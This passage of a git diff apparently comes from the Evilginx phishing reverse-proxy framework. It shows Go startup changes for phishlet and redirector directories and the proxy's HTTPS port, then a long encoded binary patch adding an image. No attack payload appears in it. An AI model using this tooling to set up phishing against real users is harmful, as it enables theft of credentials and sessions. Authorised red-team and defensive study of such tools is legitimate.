+ if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
+ *redirectors_dir = joinPath(exe_dir, "./redirectors")
}
}
}
@@ -58,8 +78,8 @@ func main() {
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
return
}
- if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
- os.MkdirAll(*templates_dir, os.FileMode(0700))
+ if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
+ os.MkdirAll(*redirectors_dir, os.FileMode(0700))
}
log.DebugEnable(*debug_log)
@@ -100,7 +120,7 @@ func main() {
log.Fatal("config: %v", err)
return
}
- cfg.SetTemplatesDir(*templates_dir)
+ cfg.SetRedirectorsDir(*redirectors_dir)
db, err := database.NewDatabase(filepath.Join(*cfg_dir, "data.db"))
if err != nil {
@@ -128,29 +148,28 @@ func main() {
}
pname := rpname[1]
if pname != "" {
- pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), cfg)
+ pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), nil, cfg)
if err != nil {
log.Error("failed to load phishlet '%s': %v", f.Name(), err)
continue
}
- //log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
cfg.AddPhishlet(pname, pl)
}
}
}
+ cfg.LoadSubPhishlets()
+ cfg.CleanUp()
ns, _ := core.NewNameserver(cfg)
ns.Start()
- hs, _ := core.NewHttpServer()
- hs.Start()
- crt_db, err := core.NewCertDb(crt_path, cfg, ns, hs)
+ crt_db, err := core.NewCertDb(crt_path, cfg, ns)
if err != nil {
log.Fatal("certdb: %v", err)
return
}
- hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, *developer_mode)
+ hp, _ := core.NewHttpProxy("", cfg.GetHttpsPort(), cfg, crt_db, db, bl, *developer_mode)
hp.Start()
t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode)
diff --git a/media/img/evilginx_mastery.jpg b/media/img/evilginx_mastery.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..344538a303f2ee4cbeb63e5f8572611a4272195d
GIT binary patch
literal 218820
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
